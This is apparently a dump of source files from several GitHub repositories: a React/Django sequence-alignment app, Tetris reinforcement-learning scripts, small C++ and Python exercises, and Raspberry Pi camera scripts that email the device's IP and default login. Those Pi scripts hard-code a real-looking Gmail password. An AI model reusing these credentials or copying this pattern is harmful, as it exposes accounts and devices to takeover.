1000);\n\t}\n\n\tcomponentWillUnmount() {\n\t\tclearInterval(this.interval);\n\t}\n\n\tloadAlignments() {\n\t\tlet connection = \"http://\"+this.props.backend+\":8000/api/alignments/id-specific/\";\n\t\tlet payload = {\"ids\": localStorage.getItem(this.props.save_loc)};\n\t\tfetch(connection,\n\t\t\t{\n\t\t\t\tmethod: 'post',\n\t\t\t\theaders: {\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t},\n\t\t\t\tbody: JSON.stringify(payload)\n\t\t\t})\n\t\t\t.then(res => res.json())\n\t\t\t.then(\n\t\t\t\t(json) => {\n\t\t\t\t\tif (typeof(json) != \"undefined\") {\n\t\t\t\t\t\tthis.setState({seconds: this.state.seconds, alignments: json, display: this.state.display});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t);\n\t};\n\n\tupdateAlignments() {\n\t\tlet newAlignments = [];\n\t\tfor(let i = 0; i < this.state.alignments.length; i++) {\n\t\t\tlet result = this.state.alignments[i];\n\t\t\tif (result[\"result_start\"] === -1) {\n\t\t\t\tnewAlignments.push(\n\t\t\t\t\t<div key={i}>\n\t\t\t\t\t\t<br></br>\n\t\t\t\t\t\t<p>query: {result[\"sequence\"]}</p>\n\t\t\t\t\t\t<p>found <strong>no match</strong></p>\n\t\t\t\t\t</div>\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tnewAlignments.push(\n\t\t\t\t\t<div key={i}>\n\t\t\t\t\t\t<br></br>\n\t\t\t\t\t\t<p>query: {result[\"sequence\"]}</p>\n\t\t\t\t\t\t<p>found in <strong>{result[\"result_name\"]}</strong> at base {result[\"result_start\"]} </p>\n\t\t\t\t\t</div>\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tthis.setState({seconds: this.state.seconds, alignments: this.state.alignments, display: newAlignments});\n\t};\n\n\trender() {\n\t\treturn (\n\t\t\t<div>\n\t\t\t\t<h3>Alignment Results:</h3>\n\t\t\t\t{this.state.display}\n\t\t\t</div>\n\t\t);\n\t}\n}\n\nexport default AlignmentList;\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.6568807363510132, "avg_line_length": 27.6842098236084, "blob_id": "734b97e0163a153d50cdc6d7fa795c6ea46c27d9", "content_id": "e51e951c2aa5ddaefc051a514a45d8673ebf5139", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 545, "license_type": "no_license", "max_line_length": 177, "num_lines": 19, "path": "/ginkgoapp/alignments/migrations/0010_auto_20191031_2159.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2019-10-31 21:59\n\nimport django.core.validators\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alignments', '0009_auto_20191031_2129'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='protein',\n name='file',\n field=models.FileField(upload_to='alignments/static/files/protein_files/', validators=[django.core.validators.FileExtensionValidator(allowed_extensions=['fasta'])]),\n ),\n ]\n" }, { "alpha_fraction": 0.8112244606018066, "alphanum_fraction": 0.8112244606018066, "avg_line_length": 27, "blob_id": "78374a318fafda900c5b710de2ec09e227c89671", "content_id": "5886a42db9a40cb5727f0486d04abd47cf6df1af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 196, "license_type": "no_license", "max_line_length": 65, "num_lines": 7, "path": "/ginkgoapp/alignments/urls.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "from rest_framework import routers\nfrom .api import AlignmentViewSet\n\nrouter = routers.DefaultRouter()\nrouter.register('api/alignments', AlignmentViewSet, 'alignments')\n\nurlpatterns = router.urls\n" }, { "alpha_fraction": 0.5423728823661804, "alphanum_fraction": 0.5694915056228638, "avg_line_length": 32.522727966308594, "blob_id": "a4cac2d01481fd44066fb750325b104eb4c48b15", "content_id": "aaaec16daae2f778d27dea2e190f6cd265da8695", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1475, "license_type": "no_license", "max_line_length": 164, "num_lines": 44, "path": "/ginkgoapp/alignments/migrations/0007_auto_20191031_2121.py", "repo_name": "cnellington/GinkgoBackendChallenge", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2019-10-31 21:21\n\nimport django.core.validators\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('alignments', '0006_auto_20191031_0114'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='protein',\n name='reference',\n ),\n migrations.AddField(\n model_name='protein',\n name='file',\n field=models.FileField(default='', upload_to='protein_files', validators=[django.core.validators.FileExtensionValidator(allowed_extensions=['fasta'])]),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='protein',\n name='name',\n field=models.CharField(default='unprocessed', max_length=16),\n ),\n migrations.AddField(\n model_name='protein',\n name='status',\n field=models.CharField(choices=[('New', 'New'), ('Processed', 'Processed')], default='New', max_length=10),\n ),\n migrations.AlterField(\n model_name='alignment',\n name='status',\n field=models.CharField(choices=[('New', 'New'), ('Processed', 'Processed')], default='New', max_length=10),\n ),\n migrations.AlterField(\n model_name='protein',\n name='description',\n field=models.CharField(default='unprocessed', max_length=128),\n ),\n ]\n" } ]
21
o1810156/tetris_by_nim
https://github.com/o1810156/tetris_by_nim
08c21037fc1e30687d08437e4dffb445a4a49f02
91d7b4c960e4b43ec8ae6a1dc093ae7c4e6073e0
db6a86b9e519f91c5c9202d1d12f19b2195b9936
refs/heads/master
2020-04-05T18:22:28.627340
2019-02-16T06:55:42
2019-02-16T06:55:42
157,099,332
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.589682936668396, "alphanum_fraction": 0.6204448938369751, "avg_line_length": 24.780487060546875, "blob_id": "b9c0e31713b8988407e5f64041689289eb5e978d", "content_id": "89f10481149dfdea0362e999dc8a70a0a8b86639", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2113, "license_type": "no_license", "max_line_length": 83, "num_lines": 82, "path": "/tetris_play.py", "repo_name": "o1810156/tetris_by_nim", "src_encoding": "UTF-8", "text": "# coding: utf-8\n\nimport re\nimport numpy as np\n\nimport torch\nfrom torch import nn, optim\nimport torch.nn.functional as F\n\nclass Net(nn.Module):\n def __init__(self, n_in, n_mid, n_out):\n super(Net, self).__init__()\n self.fc1 = nn.Linear(n_in, n_mid)\n self.fc2 = nn.Linear(n_mid, n_mid)\n self.fc3_adv = nn.Linear(n_mid, n_out)\n self.fc3_v = nn.Linear(n_mid, 1)\n\n def forward(self, x):\n h1 = F.relu(self.fc1(x))\n h2 = F.relu(self.fc2(h1))\n\n adv = self.fc3_adv(h2)\n val = self.fc3_v(h2).expand(-1, adv.size(1))\n\n output = val + adv - adv.mean(1, keepdim=True).expand(-1, adv.size(1))\n\n return output\n\n# model = Net(211, 32, 40)\nmodel = Net(211, 211, 40)\n\nmodel.load_state_dict(torch.load(\"./dueqn_11999.net\"))\nmodel.eval()\n\ndef make_state(am, field):\n state = np.array(field)\n state = np.append(state, am)\n state = torch.from_numpy(state).type(torch.FloatTensor)\n state = torch.unsqueeze(state, 0)\n return state\n\ndef decide_action(state):\n with torch.no_grad():\n action = model(state).max(1)[1].view(1, 1)\n return action.item()\n\nMINO_TABLE = {\n \"i\": 0,\n \"o\": 1,\n \"s\": 2,\n \"z\": 3,\n \"j\": 4,\n \"l\": 5,\n \"t\": 6\n}\n\nimport selenium\nfrom selenium import webdriver\nfrom selenium.webdriver import Chrome\nfrom time import sleep\n\ndriver = Chrome()\ndriver.get(\"file:///C:/Users/namni/Desktop/tetris_by_nim/index.html\")\n# driver.get(\"./index.html\")\n\ngame_over_flag = False\n\nwhile not game_over_flag:\n am = driver.execute_script(\"javascript: return getActiveMino();\")\n field = driver.execute_script(\"javascript: return getRawBoard();\")\n field = [[(1.0 if b else 0.0) for b in line[1:-1]] for line in field[:-1]]\n state = make_state(am, field)\n action = decide_action(state)\n dir = action // 10\n target_y = action % 10\n driver.execute_script(f\"javascript: apiSpin({dir});apiMove({target_y});\")\n sleep(0.5)\n driver.execute_script(\"javascript: apiHardDrop();\")\n game_over_flag = driver.execute_script(\"javascript: return getGameOverFlag();\")\n\ndriver.close()\ndriver.quit()" }, { "alpha_fraction": 0.44632378220558167, "alphanum_fraction": 0.4627200663089752, "avg_line_length": 28.86598014831543, "blob_id": "ec7335d3520b96dbf4b02975e45bca65df0d95c2", "content_id": "91c025759a5caff04578c7d9750c1625b6a3299b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5972, "license_type": "no_license", "max_line_length": 103, "num_lines": 194, "path": "/tetris_env.py", "repo_name": "o1810156/tetris_by_nim", "src_encoding": "UTF-8", "text": "from ctypes import cdll, c_char_p, c_int\nimport ctypes\nimport pandas as pd\n\nimport re\n\nclass Tetris(object):\n def __init__(self):\n dll = cdll.LoadLibrary('./tetris_api2.dll')\n self._reset = dll.reset\n self._reset.restype = c_char_p\n\n self._step = dll.step\n self._step.restype = c_char_p\n self._step.argtype = c_int\n\n self._step_preview = dll.step_preview\n self._step_preview.restype = c_char_p\n self._step_preview.argtype = c_int\n\n self._revert = dll.revert\n\n def _str_to_arr(self, st):\n st = st.replace(\"true\", \"1.0\").replace(\"false\", \"0.0\")\n arr = st.split(\"/\")\n for i, elm in enumerate(arr):\n arr[i] = eval(elm)\n return arr\n\n def reset(self):\n for _ in range(3):\n try:\n am, field, _, _ = self._str_to_arr(self._reset().decode())\n break\n except OSError:\n continue\n\n return am, field\n\n def step(self, i):\n for _ in range(3):\n try:\n am, field, reward, done = self._str_to_arr(self._step(i).decode())\n break\n except OSError:\n # print(\"retry\")\n self._revert()\n continue\n\n # 密度をスコアに含める\n blocks_sum = 0\n line_num = 0\n for line in field:\n if all(map(lambda item: item == 0.0, line)):\n continue\n line_num += 1\n for block in line:\n if block == 1.0:\n blocks_sum += 1\n \n density = blocks_sum / (line_num * 10)\n # if density >= 1: print(\"計算式見直せ\")\n reward += density\n\n # 阻害空間をスコアに含める 影響を10倍にするためにline_numで平均を取る\n obj_space_num = 0\n # 本当は同じループをするのは避けたいけど、可読性を優先し、分けることとした\n for i, line in enumerate(field):\n if all(map(lambda item: item == 0.0, line)):\n continue\n for j, block in enumerate(line):\n if block == 1.0:\n k = 1\n while i+k < len(field):\n if field[i+k][j] == 1.0:\n break\n # print(\"beep :\", field[i+k][j])\n obj_space_num += 1\n k += 1\n\n obj_score = obj_space_num / line_num\n # print(\"obj_score :\", obj_score)\n reward = reward - obj_score if reward > obj_score else 0.0\n\n done = (done == 1.0)\n return am, field, reward, done\n\n def step_preview(self, i):\n for _ in range(3):\n try:\n _, field, _, _ = self._str_to_arr(self._step_preview(i).decode())\n break\n except OSError:\n continue\n\n return field\n \n def revert(self):\n self._revert()\n\nclass Tetris_role_model(object):\n def __init__(self, rm_file_path):\n with open(rm_file_path) as f:\n all_lines = f.readlines()\n self.episodes_num = len(all_lines)//15\n episode_iters = []\n for episode_n in range(self.episodes_num):\n episode = []\n for line in all_lines[episode_n*15:(episode_n+1)*15]:\n line = line.split(\",\")\n action = int(line[0])\n am = int(line[1])\n field = [[float(j) for j in line[i+2:i+12]] for i in range(0, 210, 10)]\n reward = float(line[212])\n done = True if \"True\" in line[213] else False\n episode.append([action, am, field, reward, done])\n episode_iters.append(iter(episode))\n self.epi_ite_iters = iter(episode_iters)\n\n def reset(self):\n self.episode_iter = next(self.epi_ite_iters)\n _, am, field, _, _ = next(self.episode_iter)\n return am, field\n\n def step(self):\n return next(self.episode_iter)\n\n\n# デバッグ用\n\ndef showField(field):\n res = \"\"\n for line in field:\n res += \"\".join(map(lambda b: \"1\" if b == 1.0 else \"0\", line)) + \"\\n\"\n return res\n\ndef play_and_save():\n recorder = []\n tetris = Tetris()\n am, field = tetris.reset()\n# print(f\"\"\"\\\n# ActiveMino: {[\"i\", \"o\", \"s\", \"z\", \"j\", \"l\", \"t\"][am]}\n# Field:\n# {showField(field)}\n# \"\"\")\n done = False\n recorder.append([0, am, field, 0, False])\n while not done:\n i = 0\n field = tetris.step_preview(i)\n while True:\n print(f\"\"\"\\\naction: {i}\nField:\n{showField(field).replace(\"1\", \"■\").replace(\"0\", \"□\")}\n\"\"\")\n b = input(\"A B R L D rev: \")\n if b in \"Aa\":\n i = (i+10) % 40\n elif b in \"Bb\":\n i = (i-10) % 40\n elif b in \"Rr\":\n i = i + 1 if i%10 + 1 < 10 else i\n elif b in \"Ll\":\n i = i - 1 if i%10 - 1 >= 0 else i\n elif b == \"rev\":\n i = 0\n tetris.revert()\n recorder = recorder[:-1]\n field = tetris.step_preview(i)\n elif b in \"Dd\":\n break\n field = tetris.step_preview(i)\n\n am, field, reward, done = tetris.step(i)\n recorder.append([i, am, field, reward, done])\n print(f\"\"\"\\\ndroped\nActiveMino: {[\"i\", \"o\", \"s\", \"z\", \"j\", \"l\", \"t\"][am]}\nReward: {reward}\nDone: {done}\nField:\n{showField(field).replace(\"1\", \"■\").replace(\"0\", \"□\")}\n\"\"\")\n return recorder\n\nif __name__==\"__main__\":\n arr = play_and_save()\n name = input(\"file name : \").replace(\".csv\", \"\")\n with open(name+\".csv\", \"a\") as f:\n # f.write(\"action, active_mino, \"+\", \".join([str(i) for i in range(21*10)])+\", reward, done\\n\")\n for data in arr:\n f.write(re.sub(r\"[\\[\\]]\", \"\", str(data)))\n f.write(\"\\n\")\n" }, { "alpha_fraction": 0.7723214030265808, "alphanum_fraction": 0.78125, "avg_line_length": 21.5, "blob_id": "8015cd258a5adef2949c140eec5f31e07db2ada7", "content_id": "1926b836a1e471e72c3fc082b343753c9aacacf0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 412, "license_type": "no_license", "max_line_length": 47, "num_lines": 10, "path": "/etc/tetris_eval_items.md", "repo_name": "o1810156/tetris_by_nim", "src_encoding": "UTF-8", "text": "# 暫定アルゴリズム名\n\n候補1: Positive Evaluation Moduled Network (PEMN)\n候補2: Training Wheels (TW)\n\n## テトリスの盤面を人間の目から見たときの評価項目\n\n- ブロックの密度 density\n- 凸凹度 -> 全体の高低差 -> 各列で最も高いところにあるブロック despersion\n- 連続度 -> 列ごとにどれくらいブロックがかたまっているか continuity" }, { "alpha_fraction": 0.5855855941772461, "alphanum_fraction": 0.5990990996360779, "avg_line_length": 21.299999237060547, "blob_id": "51b576ef20db236afb662785570d70b5520fc6dd", "content_id": "01ac61c774c4b0c39b23fb0ec8f7246e1c1cc9c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 222, "license_type": "no_license", "max_line_length": 45, "num_lines": 10, "path": "/api2_test.py", "repo_name": "o1810156/tetris_by_nim", "src_encoding": "UTF-8", "text": "from tetris_env_api2 import Tetris_role_model\n\nenv = Tetris_role_model(input(\"path: \"))\nfor _ in range(env.episodes_num):\n print(env.reset())\n\n for _ in range(14):\n print(env.step())\n \n print(\"\\n####\\n\")" }, { "alpha_fraction": 0.45107847452163696, "alphanum_fraction": 0.46420755982398987, "avg_line_length": 24.600000381469727, "blob_id": "c6c0be48a6a70d6a75853471d69e2cb71c3ba1cd", "content_id": "505f8ebe6802a8b126897f0b550182ec92f02efd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3259, "license_type": "no_license", "max_line_length": 93, "num_lines": 125, "path": "/etc/tetris_env_0.py", "repo_name": "o1810156/tetris_by_nim", "src_encoding": "UTF-8", "text": "# 密度を評価しない版\n\nfrom ctypes import cdll, c_char_p, c_int\n# from ctypes import windll, c_char_p, c_int\nimport ctypes\n\n# init_flag = False\n# dll = None\n\nclass Tetris(object):\n def __init__(self):\n # global dll\n dll = cdll.LoadLibrary('./tetris_api.dll')\n self._reset = dll.reset\n self._reset.restype = c_char_p\n\n self._step = dll.step\n self._step.restype = c_char_p\n self._step.argtype = c_int\n\n self._revert = dll.revert\n\n def _str_to_arr(self, st):\n # print(st)\n st = st.replace(\"true\", \"1.0\").replace(\"false\", \"0.0\")\n arr = st.split(\"/\")\n for i, elm in enumerate(arr):\n arr[i] = eval(elm)\n # print(arr)\n return arr\n\n # def analyzer(self, tet_i):\n # obs = str(teti)\n # am, _field, done, reward = int(obs[0]), obs[1:211], (obs[212] == 1), int(obs[213:])\n # field = [int(s) for s in _field]\n # return (am, field, reward, done)\n\n def reset(self):\n # global init_flag\n # if init_flag:\n # global dll\n # del dll\n # dll = cdll.LoadLibrary('./tetris_api.dll')\n # self._reset = dll.reset\n # self._reset.restype = c_char_p\n\n # self._step = dll.step\n # self._step.restype = c_char_p\n # self._step.argtype = c_int\n\n # self._revert = dll.revert\n \n # else:\n # init_flag = True\n\n for _ in range(3):\n try:\n am, field, _, _ = self._str_to_arr(self._reset().decode())\n break\n except OSError:\n continue\n\n return am, field\n\n def step(self, i):\n for _ in range(3):\n try:\n am, field, reward, done = self._str_to_arr(self._step(i).decode())\n break\n except OSError:\n # print(\"retry\")\n self._revert()\n continue\n\n # 密度をスコアに含める\n # blocks_sum = 0\n # line_num = 0\n # for line in field:\n # if all(map(lambda item: item == 0.0, line)):\n # continue\n # line_num += 1\n # for block in line:\n # if block == 1.0:\n # blocks_sum += 1\n \n # density = blocks_sum / (line_num * 10)\n # # if density >= 1: print(\"計算式見直せ\")\n # reward += density\n\n done = (done == 1.0)\n return am, field, reward, done\n\n# デバッグ用\n\n# def showField(arr):\n# res = \"\"\n# for i in range(21):\n# res += \"\".join(arr[(i*10):((i+1)*10)]) + \"\\n\"\n# return res\n\ndef showField(field):\n res = \"\"\n for line in field:\n res += \"\".join(map(lambda b: \"1\" if b == 1.0 else \"0\", line)) + \"\\n\"\n return res\n\nif __name__==\"__main__\":\n tetris = Tetris()\n am, field = tetris.reset()\n print(f\"\"\"\\\nActiveMino: {[\"i\", \"o\", \"s\", \"z\", \"j\", \"l\", \"t\"][am]}\nField:\n{showField(field)}\n\"\"\")\n done = False\n while not done:\n i = int(input())\n am, field, reward, done = tetris.step(i)\n print(f\"\"\"\\\nActiveMino: {[\"i\", \"o\", \"s\", \"z\", \"j\", \"l\", \"t\"][am]}\nReward: {reward}\nDone: {done}\nField:\n{showField(field)}\n\"\"\")" } ]
5
soujiro0725/programming-practices
https://github.com/soujiro0725/programming-practices
871c4032a3c28524bbc3092aa4e5f3dca2e5793b
c08f819327a4a2f1bb9cb243bd0bd01b34748dc9
11ce34a6a4e913a056b2de8ca45e6a5646300275
refs/heads/master
2020-05-04T14:16:17.863377
2019-05-08T02:46:29
2019-05-08T02:46:29
179,189,974
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6326530575752258, "alphanum_fraction": 0.6394557952880859, "avg_line_length": 12.272727012634277, "blob_id": "74f99873cf73251288ab03dce831af6b7fd47d83", "content_id": "ef0fed881f4855066dce432c9064409b5422f7e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 147, "license_type": "no_license", "max_line_length": 33, "num_lines": 11, "path": "/C++/class_practice/circle.cpp", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "#include \"circle.h\"\n\nfloat Circle::get_area()\n{\n return radius * radius * pi;\n}\n\nfloat Circle::get_circumference()\n{\n return radius * 2 * pi;\n}\n\n" }, { "alpha_fraction": 0.5822784900665283, "alphanum_fraction": 0.594936728477478, "avg_line_length": 10.214285850524902, "blob_id": "c3116231bb6130728c8494941e1889602fc1d205", "content_id": "d0eefa48f48254b22c257c893e114d21549a0bfd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 158, "license_type": "no_license", "max_line_length": 24, "num_lines": 14, "path": "/C++/AIZU/HelloWorld/cubic.cpp", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nusing namespace std;\n\nint cubic(int x) {\n return x * x;\n}\n\nint main()\n{\n int result = cubic(5);\n printf(\"%d\", result);\n return 0;\n}\n\n" }, { "alpha_fraction": 0.5620915293693542, "alphanum_fraction": 0.6209150552749634, "avg_line_length": 14.300000190734863, "blob_id": "5e1cbab8639ec0e51acdaab4d6d9de05acd98547", "content_id": "5c779e5dd2319a4a8606c2343df010546184a5c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 306, "license_type": "no_license", "max_line_length": 46, "num_lines": 20, "path": "/C++/AIZU/HelloWorld/watch.cpp", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "#include <iostream>\n//#include <array>\n\nusing namespace std;\n\nchar watch(int seconds) {\n int minutes;\n int hours;\n\n hours = seconds / 3600;\n minutes = (seconds - hours * 3600) / 60;\n seconds = seconds % 60;\n\n printf(\"%d:%d:%d\", hours, minutes, seconds);\n}\n\nint main() {\n watch(46979);\n return 0;\n}\n" }, { "alpha_fraction": 0.5515021681785583, "alphanum_fraction": 0.5643776655197144, "avg_line_length": 22, "blob_id": "07244806ca4444ce79b3b3ee402a3439994311d0", "content_id": "25e74d34b25cf4f616f91d3a591fdf89fab6b9e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 480, "license_type": "no_license", "max_line_length": 62, "num_lines": 20, "path": "/python/class_practice/circle.py", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Circle:\n def __init__(self, radius):\n self.radius = radius\n self.pi = 3.14\n\n def get_area(self):\n return self.radius * self.radius * self.pi\n\n def get_circumference(self):\n return self.radius * 2 * self.pi\n\n\nif __name__ == '__main__':\n c = Circle(5) #インスタンス化\n\n print(\"area is {}\".format(c.get_area()))\n print(\"circumference is {}\".format(c.get_circumference()))\n\n \n" }, { "alpha_fraction": 0.6736111044883728, "alphanum_fraction": 0.6875, "avg_line_length": 22.83333396911621, "blob_id": "40e3a43b8eacd2ab5794efdea5ff6108ba99a935", "content_id": "20cb761c39bb6c264eeee69b538ce0c25b1bbb04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 144, "license_type": "no_license", "max_line_length": 58, "num_lines": 6, "path": "/python/class_practice/another_file.py", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "from circle import Circle\n\nc = Circle(10)\n\nprint(\"area is {}\".format(c.get_area()))\nprint(\"circumference is {}\".format(c.get_circumference()))\n\n" }, { "alpha_fraction": 0.5443864464759827, "alphanum_fraction": 0.5613576769828796, "avg_line_length": 16.79069709777832, "blob_id": "c662f5d311dc1c5d7c5e0fabf184d7121572526d", "content_id": "84fc73e3b4999dd60827696ccdeabff4244430aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 766, "license_type": "no_license", "max_line_length": 48, "num_lines": 43, "path": "/C++/AIZU/condition-2/main.c", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <vector>\n#include <string>\n#include <sstream>\n#include <cstdlib>\n\nusing namespace std;\n\nvector<int> split(const string &s, char delim) {\n vector<int> elems;\n stringstream ss(s);\n string item;\n while (getline(ss, item, delim)) {\n if (!item.empty()) {\n elems.push_back(std::atoi(item.c_str()));\n }\n }\n return elems;\n}\n\nvoid show_sorted(string input) {\n vector<int> nums = split(input, ' ');\n\n std::sort(nums.begin(), nums.end());\n\n for (int i=0; i<nums.size();i++) {\n printf(\"%d\", nums[i]);\n }\n}\n\nint main() {\n //vector<int> result;\n\n //result = split(\"1 2 3 4 5\", ' ');\n\n /* for (int i=0; i<result.size(); i++) { */\n /* printf(\"%d\", result.at(i)); */\n /* } */\n\n show_sorted(\"1 6 3 9 5\");\n \n return 0;\n}\n\n" }, { "alpha_fraction": 0.6396396160125732, "alphanum_fraction": 0.6441441178321838, "avg_line_length": 13.800000190734863, "blob_id": "e43d2f5e26474f0a85e587592dfd9933b9bdc551", "content_id": "ab5cc85cb061955de20ef7574b221d7d5ccc0760", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 222, "license_type": "no_license", "max_line_length": 57, "num_lines": 15, "path": "/C++/class_practice/main.cpp", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <string.h>\n#include \"circle.h\"\n\nusing namespace std;\n\n\nint main()\n{\n Circle c;\n\n printf(\"area is %f\\n\", c.get_area());\n printf(\"circumference is %f\\n\", c.get_circumference());\n return 0;\n}\n" }, { "alpha_fraction": 0.539393961429596, "alphanum_fraction": 0.5696969628334045, "avg_line_length": 10, "blob_id": "1716c00d3e7582bbb82347897d184648ae0e1fcf", "content_id": "fb459093eea1254f8549585e6f52861cb99b788c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 165, "license_type": "no_license", "max_line_length": 28, "num_lines": 15, "path": "/C++/class_practice/circle.h", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "class Circle\n{\nprivate:\n float radius;\n float pi;\n\npublic:\n Circle()\n {\n radius = 5.0;\n pi = 3.14;\n }\n float get_area();\n float get_circumference();\n};\n" }, { "alpha_fraction": 0.43987342715263367, "alphanum_fraction": 0.46202531456947327, "avg_line_length": 12.166666984558105, "blob_id": "b923b451d7582d7f157d8bd70788fc2a4135ff81", "content_id": "cf7d7f4be8f904e5e1310afb705cb39c4f47edd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 316, "license_type": "no_license", "max_line_length": 31, "num_lines": 24, "path": "/C++/AIZU/condition-1/main.c", "repo_name": "soujiro0725/programming-practices", "src_encoding": "UTF-8", "text": "#include <iostream>\n\nusing namespace std;\n\nvoid compare(int a, int b)\n{\n if (a > b) {\n printf(\"%d > %d\\n\", a, b);\n } else if (a < b) {\n printf(\"%d < %d\\n\", a, b);\n } else if (a == b) {\n printf(\"%d == %d\\n\", a, b);\n } else {\n printf(\"error\");\n }\n}\n\nint main()\n{\n\n compare(100, -100);\n\n return 0;\n}\n" } ]
9
Baopqspkt/code-on-rasp
https://github.com/Baopqspkt/code-on-rasp
9cd13b584d65239db6f01b2a8136548d1b859cea
eebfb55ef7cb77ef8c99168a065f28ef9669cdb2
ab93e92ff0eec5e622c9088816103805896efa18
refs/heads/master
2020-06-04T16:50:25.496480
2019-06-22T09:38:32
2019-06-22T09:38:32
192,110,389
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6815789341926575, "alphanum_fraction": 0.7210526466369629, "avg_line_length": 20.16666603088379, "blob_id": "3152d6042f0c755ad4faf225e1ac6e68ac3e27bd", "content_id": "0d4b877e45dee741a657e5c48cb6930c9b97a2cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 380, "license_type": "no_license", "max_line_length": 51, "num_lines": 18, "path": "/getip.py", "repo_name": "Baopqspkt/code-on-rasp", "src_encoding": "UTF-8", "text": "import socket \n#import commands\nimport smtplib\n\ns = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\ns.connect(('google.com',0))\nipAdress = s.getsockname()[0]\ns.close()\n\ncontent = ipAdress\nmail = smtplib.SMTP('smtp.gmail.com',587)\nmail.ehlo()\nmail.starttls()\nmail.login('[email protected]','bao0985265185')\nmail.sendmail('[email protected]','[email protected]',content)\nmail.close()\nprint(\"Ip:\")\nprint(ipAdress)" }, { "alpha_fraction": 0.5999758243560791, "alphanum_fraction": 0.612291693687439, "avg_line_length": 33.082305908203125, "blob_id": "a1e2176ec1760f3a17472ab5eb64e28448d7f8f8", "content_id": "a554a06d274b5f35ac13085e9c6460750085c936", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8282, "license_type": "no_license", "max_line_length": 111, "num_lines": 243, "path": "/pi_face_recognition.py", "repo_name": "Baopqspkt/code-on-rasp", "src_encoding": "UTF-8", "text": "# USAGE\n# python3 pi_face_recognition.py \n\n# import the necessary packages\nfrom imutils.video import VideoStream\nimport face_recognition\nimport imutils\nimport pickle\nimport os\nimport time\nimport cv2\nfrom datetime import datetime\nimport shutil\nimport RPi.GPIO as GPIO\nimport socket \nimport smtplib\nimport mysql.connector\nfrom mysql.connector import Error\nfrom mysql.connector import errorcode\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n\n## Get Ip and send to email\ns = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\ns.connect(('google.com',0))\nipAdress = s.getsockname()[0]\ns.close()\nto = '[email protected]'\nfromemail = '[email protected]'\nyour_pass = \"bao0985265185\"\nbody = \"User: pi\\n\" + \"Password: raspberry\\n\" + \"Your Ip connect to network: \" + str(ipAdress)\nsubject = \"Information Camera System\"\nmessage = MIMEMultipart()\nmessage['From'] = fromemail\nmessage['To'] = to\nmessage['Subject'] = subject\nmessage.attach(MIMEText(body, 'plain'))\ntext = message.as_string()\nmail = smtplib.SMTP('smtp.gmail.com', 587)\nmail.ehlo()\nmail.starttls()\nmail.login(fromemail,your_pass)\nmail.sendmail(fromemail,to,text)\nmail.close()\n\nnow = datetime.now()\nformatted_date = now.strftime('%Y-%m-%d %H:%M:%S')\n\nTRIG = 23\nECHO = 24\nled = 25\nspace = 22\n\nGPIO.setwarnings(False) \nGPIO.setmode(GPIO.BCM)\nGPIO.setup(TRIG,GPIO.OUT)\nGPIO.setup(ECHO,GPIO.IN)\nGPIO.setup(led,GPIO.OUT)\nGPIO.setup(space,GPIO.OUT)\n\ncontinu = 1\nSampleNum=0\nwriter = None\npulse_start = 0\npulse_end = 0;\n\n# Decleare information about ultra \ndef ultra(TRIG,ECHO):\n global pulse_start\n global pulse_end\n GPIO.output(TRIG, False)\n time.sleep(2)\n 